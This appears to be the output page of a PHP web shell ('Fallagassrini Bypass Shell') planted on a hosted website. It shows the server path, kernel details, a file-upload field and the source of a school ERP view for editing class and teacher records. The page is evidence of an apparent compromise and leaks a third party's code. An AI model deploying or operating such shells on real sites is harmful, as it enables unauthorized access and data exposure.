? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/oscarerp.com/application/views/master/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/oscarerp.com/application/views/master/edit_class_name.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>

<div class="icons_main">
    <div  class="icons">   
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('master','viewinmastersearch','search_class_name','view_class_name','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Updating Class Classification</h4>
    </div>
</div>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('master/addinmaster/update_class_name/view_class_name/1', $attributes);
$class_room = $this->mastermodel->getdatas('class_room', 'class_room_id');
$session = $this->mastermodel->getdatas('session', 'session_id');
$term= $this->mastermodel->getdatas('term', 'term_id');
$accademic_year = $this->mastermodel->getdatas('academic_year', 'academic_year_id');
$start_time = explode(":", $viewinfo->class_start_time);
$end_time = explode(":", $viewinfo->class_end_time);
?>
<div class="grid_6">
    <div class="box">
        <div class="header main">Class Details</div>
        <div class="content no-padding">
            <div class="section _100">
                <label>Class Room Name </label>
                <div>
                    <select onchange="get_class_name()" name="class_room_id" id="class_room_id" class="required chzn-done">
                        <option value="">Select</option>
                        <?php
                        foreach ($class_room as $list) {
                            ?>
                            <option value="<?= $list['class_room_id']; ?>~<?= $list['class_room_name']; ?>" <?php
                        if ($list['class_room_id'] == $viewinfo->class_room_id) {
                            echo "selected";
                        }
                            ?>><?= $list['class_room_name']; ?></option>
                                    <?php
                                }
                                ?>
                    </select>   
                </div>
            </div>
            <div class="section _100">
                <label>Session </label>
                <div>                   
                    <select  onchange="get_class_name()"  name="class_session" id="class_session" class="required chzn-done">
                        <option value="">Select</option>
                        <?php
                        foreach ($session as $list) {
                            ?>
                        <option value="<?= $list['session_id']; ?>~<?= $list['session_name']; ?>"  <?= ($list['session_id'] == $viewinfo->class_session) ? "selected" : ""; ?> > 
                                <?= $list['session_name']; ?></option>
                            <?php
                        }
                        ?>
                    </select>   
                </div>
            </div>
            <div class="section _100">
                <label>Term</label>
                <div>
                    <select  onchange="get_class_name()" class="chzn-done required" name="class_term" id="class_term">
                        <option value="">Select</option>
                        <?php
                        foreach ($term as $list) {
                            ?>
                            <option <?= ($list['term_id'] == $viewinfo->class_term_id) ? "selected" : ""; ?> value="<?= $list['term_id'] ?>~<?= $list['term_name'] ?>"><?= $list['term_name'] ?></option>
                            <?php
                        }
                        ?>
                    </select>
                </div>
            </div>
            <div class="section _100">
                <label>Academic Year </label>
                <div>
                    <select  onchange="get_class_name()" class="chzn-done" name="class_name_academic_year_id" id="class_name_academic_year_id">
                        <option value="">Select</option>
                        <?php
                        foreach ($accademic_year as $list) {
                            ?>
                            <option <?= ($list['academic_year_id'] == $viewinfo->class_name_academic_year_id) ? "selected " : "" ?> value="<?= $list['academic_year_id'] ?>"><?= $list['display_name'] ?></option>
                            <?php
                        }
                        ?>
                    </select>
                </div>
            </div>

            <div class="section _100">
                <label>Class Code </label>
                <div>
                    <input name="class_name_code" id="class_name_code" readonly="readonly" class="required" value="<?= $viewinfo->class_name_code ?>" />
                </div>
            </div>

            <div class="section _100">
                <label>Days Of the week</label>
                <div>
                    <?php
                    $week = array();
                    if ($viewinfo->class_days != "") {
                        $week = explode(',', $viewinfo->class_days);
                    }
                    ?>
                    <input type="checkbox" name="week[]" value="0" <?= (in_array(0, $week)) ? "checked" : "" ?>/>Sunday
                    <input type="checkbox" name="week[]" value="1" <?= (in_array(1, $week)) ? "checked" : "" ?>/>Monday
                    <input type="checkbox" name="week[]" value="2" <?= (in_array(2, $week)) ? "checked" : "" ?>/>Tuesday
                    <input type="checkbox" name="week[]" value="3" <?= (in_array(3, $week)) ? "checked" : "" ?>/>Wednesday
                    <input type="checkbox" name="week[]" value="4" <?= (in_array(4, $week)) ? "checked" : "" ?>/>Thursday
                    <input type="checkbox" name="week[]" value="5" <?= (in_array(5, $week)) ? "checked" : "" ?>/>Friday
                    <input type="checkbox" name="week[]" value="6" <?= (in_array(6, $week)) ? "checked" : "" ?>/>Saturday
                </div>
            </div>
            
             <div class="section _100">
                 <label>Start Time</label>
                <div>
                     <?php echo createHours('start_time_hour',$start_time[0]); ?>
                     <?php echo createMinutes('start_time_minute',$start_time[1]); ?>
                </div>
            </div>
     
            <div class="section _100">
                 <label>End Time</label>
                <div>
                         <?php echo createHours('end_time_hour',$end_time[0]); ?>
                        <?php echo createMinutes('end_time_minute',$end_time[1]); ?>
                </div>
            </div>
        </div>      
    </div>
</div>
<div class="grid_6" >
    <div class="box">
        <div class="content no-padding">     
            <div class="header main">Teacher Details</div>
            <?php
            $teacher = $this->mastermodel->get_data('employee', 1, 'employee_teacher');
            $class_teacher = $this->mastermodel->get_data('class_teacher', $viewinfo->class_name_id, 'class_name_id');
           // var_dump($class_teacher);
            ?>
            <table class="table" id="student_tb">
                <tr>                      
                    <th>Teacher</th>
                    <th>Date</th>                                                        
                    <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
                </tr>   
                <?php
                foreach ($class_teacher as $value) {
                    ?>
                    <tr>                        
                        <td>
                            <select id="teacher" name="teacher" class="chzn-done valid">
                                <option value="">Select</option>
                                <?php
                                foreach ($teacher as $list) {
                                    echo '<option ';
                                    if ($list['employee_id'] == $value['teacher_id']) {
                                        echo " selected ";
                                    } echo ' value="' . $list['employee_id'] . '">' . $list['employee_name'] . '-' . $list['employee_no'] . '</option>';
                                }
                                ?>
                            </select>  
                        </td>
                        <td>
                            <input type="text" value="<?= $this->mastermodel->convertdatenormalformat($value['wef_date']) ?>" name="teacher_wef_date" id="teacher_wef_date" class="calfocus medium1" />
                        </td>
                        <td>
                            <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                        </td>
                    </tr>


    <?php
}
?>
                <tr>                        
                    <td>
                        <select id="teacher" name="teacher" class="chzn-done valid">
                            <option value="">Select</option>
                            <?php
                            foreach ($teacher as $list) {
                                echo '<option value="' . $list['employee_id'] . '">' . $list['employee_name'] . '-' . $list['employee_no'] . '</option>';
                            }
                            ?>
                        </select>  
                    </td>
                    <td>
                        <input type="text" name="teacher_wef_date" id="teacher_wef_date" class="calfocus medium1" />
                    </td>
                    <td>
                        <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                    </td>
                </tr>
            </table>
        </div>
    </div>
</div> 
<div class="grid_12" >
    <div class="box">
        <div class="actions"> 
<?php
// 
?>
            <div class="actions-left">
                <input type="reset" />
                <input type="hidden" name="class_name_id" id="class_name_id" value="<?= $viewinfo->class_name_id; ?>"/>
                <input type="hidden" name="resfunction" value="search_class_name"/>
                <input type="hidden" name="tab_name" value="class_name"/>
            </div>           
            <div class="actions-right">
                <button type="submit" id="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
            </div>
        </div>    

    </div> 
</div> 
<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net